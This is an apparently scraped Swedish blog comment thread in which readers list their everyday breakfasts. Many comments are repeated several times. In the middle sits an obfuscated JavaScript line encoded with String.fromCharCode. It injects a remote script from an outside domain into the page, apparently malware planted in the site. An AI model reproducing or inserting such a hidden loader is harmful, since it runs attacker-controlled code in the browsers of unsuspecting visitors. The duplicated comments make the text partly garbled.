Havregrynsgröt med blåbär på äter jag varje morgon.Känner att jag står mig bra på det och går inte och småäter hela förmiddagen som man annars kan göra.
Naturell yoghurt, osötade havreringar, linfrö, apelsinjuice samt te.
Smörgås (proteinbröd) med ost tar jag med till jobbet och äter till förmiddagskaffet.
Havregrynsgröt med blåbär på äter jag varje morgon.Känner att jag står mig bra på det och går inte och småäter hela förmiddagen som man annars kan göra.
Smoothie som består av
kvarg, lättmjölk, halv banan, blåbär, linfröolja
ungefär så varje dag fast jag varierar med frysta bär och oljan bara ibland
men nästan alltid kvar och lättmjölk
Naturell yoghurt, osötade havreringar, linfrö, apelsinjuice samt te.
Smörgås (proteinbröd) med ost tar jag med till jobbet och äter till förmiddagskaffet.
Smoothie som består av
kvarg, lättmjölk, halv banan, blåbär, linfröolja
ungefär så varje dag fast jag varierar med frysta bär och oljan bara ibland
men nästan alltid kvar och lättmjölk
Varierar mellan en Celsius eller en Nocco ?
Jag kan inte dricka kaffe tyvärr!
Äter lunch vid 10.30 pga mitt yrke och då blur det oftast lunch.
Men på helgen äter jag gärna frallor, smoothie eller gröt!
Jag äter ofta likadan frukost i långa perioder. Just nu är det mild yoghurt med egen müsli av havregryn, solrosfrön, pumpafrön och hela linfrön. Dunkar på en massa kanel och har ibland en sked äppelmos ovanpå. Om jag ska träna på förmiddagen kan det hända att jag tar en banan eller ett ägg till 10-fikat.
Tidigare åt jag en lång period bananpannkaka med hallon. Snöar även in på gröt och smoothie då och då. Frukosten är jätteviktig för mig. Om jag inte äter frukost så blir jag trött, skakig och på dåligt humör efter en stund.
Jag äter ofta likadan frukost i långa perioder. Just nu är det mild yoghurt med egen müsli av havregryn, solrosfrön, pumpafrön och hela linfrön. Dunkar på en massa kanel och har ibland en sked äppelmos ovanpå. Om jag ska träna på förmiddagen kan det hända att jag tar en banan eller ett ägg till 10-fikat.
Tidigare åt jag en lång period bananpannkaka med hallon. Snöar även in på gröt och smoothie då och då. Frukosten är jätteviktig för mig. Om jag inte äter frukost så blir jag trött, skakig och på dåligt humör efter en stund.
Verkar som om min kommentar försvann? Men min frukost ser ut ungefär följande: Bananer, fil, nötter och granola. Och så ibland hembakat bröd till det! Mumms!!
/C http://fondofhome.blogg.se – nyinvigd renoverings-/inredningsblogg
Verkar som om min kommentar försvann? Men min frukost ser ut ungefär följande: Bananer, fil, nötter och granola. Och så ibland hembakat bröd till det! Mumms!!
Hej! Jag har ätit likadan frukost i många herrans år, tröttnar aldrig!
Den består av:
– 2 havreknäcke … med …
– Bregott EKO
– Kalles Kaviar, mild
– Billingeost, två skivor
– Ca 1,5 dl Yoggi Dröm Vanilj
– START, naturella flingor
– En kopp Lipton Yellow, svart té med honung.
That´s it!
Varje dag så långt jag kan minnas. Håller mig mätt länge och mår toppen! ♥
Hej! Jag har ätit likadan frukost i många herrans år, tröttnar aldrig!
Den består av:
– 2 havreknäcke … med …
– Bregott EKO
– Kalles Kaviar, mild
– Billingeost, två skivor
– Ca 1,5 dl Yoggi Dröm Vanilj
– START, naturella flingor
– En kopp Lipton Yellow, svart té med honung.
That´s it!
Varje dag så långt jag kan minnas. Håller mig mätt länge och mår toppen! ♥
My Martens , Ako Rahim. Adviral Media.
d
Ako, Renata, My
var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/
Godmorgon! 
Kaffe, 2 finncrisp m ägg =)
Kaffe, lättfil, frysta bär, en banan ?
En kopp te och två kokta ägg ?
Lättyoghurt naturell med gurkmeja, kanel, hallon, blåbär och banan samt ett ägg. MUMS!
En kopp kaffe & två ostmackor
Kaffe och Banan. Jag önskar dig My och alla läsare en fin dag med massor av kärlek! Du vet väl om att du är värdefull! ❤️❤️ kram
Inte ett dugg
Jag äter havregrynsgröt med grovrivet äpple, ägg, danskt rågbröd en skiva och en mugg grönt te. Sedan står man sig stadigt…
Havregrynsgröt med blåbär på äter jag varje morgon.Känner att jag står mig bra på det och går inte och småäter hela förmiddagen som man annars kan göra.
Gröt, en smörgås, grönt te. Frukost är dagens bästa måltid tycker jag. Älskar hotellfrukostar där det är en massa gott, frukter m.m
Ha en fin dag ☀️
Kaffe, 2 finncrisp m ägg =)
Kaffe, lättfil, frysta bär, en banan 🌞
En kopp te och två kokta ägg 😉
Lättyoghurt naturell med gurkmeja, kanel, hallon, blåbär och banan samt ett ägg. MUMS!
En kopp kaffe & två ostmackor
Naturell yoghurt, osötade havreringar, linfrö, apelsinjuice samt te.
Smörgås (proteinbröd) med ost tar jag med till jobbet och äter till förmiddagskaffet.
Kaffe och Banan. Jag önskar dig My och alla läsare en fin dag med massor av kärlek! Du vet väl om att du är värdefull! ❤️❤️ kram
Inte ett dugg
En halv vesuvio å en kopp kaffe
Jag äter havregrynsgröt med grovrivet äpple, ägg, danskt rågbröd en skiva och en mugg grönt te. Sedan står man sig stadigt…
Havregrynsgröt med blåbär på äter jag varje morgon.Känner att jag står mig bra på det och går inte och småäter hela förmiddagen som man annars kan göra.
Gröt, en smörgås, grönt te. Frukost är dagens bästa måltid tycker jag. Älskar hotellfrukostar där det är en massa gott, frukter m.m
Ha en fin dag ☀️
Smoothie som består av
kvarg, lättmjölk, halv banan, blåbär, linfröolja
ungefär så varje dag fast jag varierar med frysta bär och oljan bara ibland
men nästan alltid kvar och lättmjölk
Naturell yoghurt, osötade havreringar, linfrö, apelsinjuice samt te.
Smörgås (proteinbröd) med ost tar jag med till jobbet och äter till förmiddagskaffet.
En halv vesuvio å en kopp kaffe
Periodare när det gäller frukost, just nu omelett med massa grönsaker och kaffe.
Ha en bra dag!
Smoothie som består av
kvarg, lättmjölk, halv banan, blåbär, linfröolja
ungefär så varje dag fast jag varierar med frysta bär och oljan bara ibland
men nästan alltid kvar och lättmjölk
Periodare när det gäller frukost, just nu omelett med massa grönsaker och kaffe.
Ha en bra dag!
Varierar mellan en Celsius eller en Nocco ?
Jag kan inte dricka kaffe tyvärr!
Äter lunch vid 10.30 pga mitt yrke och då blur det oftast lunch.
Men på helgen äter jag gärna frallor, smoothie eller gröt!
Varierar mellan en Celsius eller en Nocco 🙈
Jag kan inte dricka kaffe tyvärr!
Äter lunch vid 10.30 pga mitt yrke och då blur det oftast lunch.
Men på helgen äter jag gärna frallor, smoothie eller gröt!
Jag äter ofta likadan frukost i långa perioder. Just nu är det mild yoghurt med egen müsli av havregryn, solrosfrön, pumpafrön och hela linfrön. Dunkar på en massa kanel och har ibland en sked äppelmos ovanpå. Om jag ska träna på förmiddagen kan det hända att jag tar en banan eller ett ägg till 10-fikat.
Tidigare åt jag en lång period bananpannkaka med hallon. Snöar även in på gröt och smoothie då och då. Frukosten är jätteviktig för mig. Om jag inte äter frukost så blir jag trött, skakig och på dåligt humör efter en stund.
Knäckisar med Västerbotten och tomat!
Kaffe och vatten.
Jag har äntligen börjat äta gröt igen. Efter morgonträning/pw är det riktigt gott. Gör en havregröt med massa godsaker i, nyttigt och gott…
https://malin-ahrberg.blogspot.com/2018/07/godaste-frukosten.html?m=0
Jag äter ofta likadan frukost i långa perioder. Just nu är det mild yoghurt med egen müsli av havregryn, solrosfrön, pumpafrön och hela linfrön. Dunkar på en massa kanel och har ibland en sked äppelmos ovanpå. Om jag ska träna på förmiddagen kan det hända att jag tar en banan eller ett ägg till 10-fikat.
Tidigare åt jag en lång period bananpannkaka med hallon. Snöar även in på gröt och smoothie då och då. Frukosten är jätteviktig för mig. Om jag inte äter frukost så blir jag trött, skakig och på dåligt humör efter en stund.
Knäckisar med Västerbotten och tomat!
Kaffe och vatten.
Verkar som om min kommentar försvann? Men min frukost ser ut ungefär följande: Bananer, fil, nötter och granola. Och så ibland hembakat bröd till det! Mumms!!
/C
http://fondofhome.blogg.se – nyinvigd renoverings-/inredningsblogg
Jag har äntligen börjat äta gröt igen. Efter morgonträning/pw är det riktigt gott. Gör en havregröt med massa godsaker i, nyttigt och gott…
https://malin-ahrberg.blogspot.com/2018/07/godaste-frukosten.html?m=0
Verkar som om min kommentar försvann? Men min frukost ser ut ungefär följande: Bananer, fil, nötter och granola. Och så ibland hembakat bröd till det! Mumms!!
/C
https://fondofhome.blogg.se – nyinvigd renoverings-/inredningsblogg
Hej! Jag har ätit likadan frukost i många herrans år, tröttnar aldrig!
Den består av:
– 2 havreknäcke … med …
– Bregott EKO
– Kalles Kaviar, mild
– Billingeost, två skivor
– Ca 1,5 dl Yoggi Dröm Vanilj
– START, naturella flingor
– En kopp Lipton Yellow, svart té med honung.
That´s it!
Varje dag så långt jag kan minnas. Håller mig mätt länge och mår toppen! ♥
Hej! Jag har ätit likadan frukost i många herrans år, tröttnar aldrig!
Den består av:
– 2 havreknäcke … med …
– Bregott EKO
– Kalles Kaviar, mild
– Billingeost, två skivor
– Ca 1,5 dl Yoggi Dröm Vanilj
– START, naturella flingor
– En kopp Lipton Yellow, svart té med honung.
That´s it!
Varje dag så långt jag kan minnas. Håller mig mätt länge och mår toppen! ♥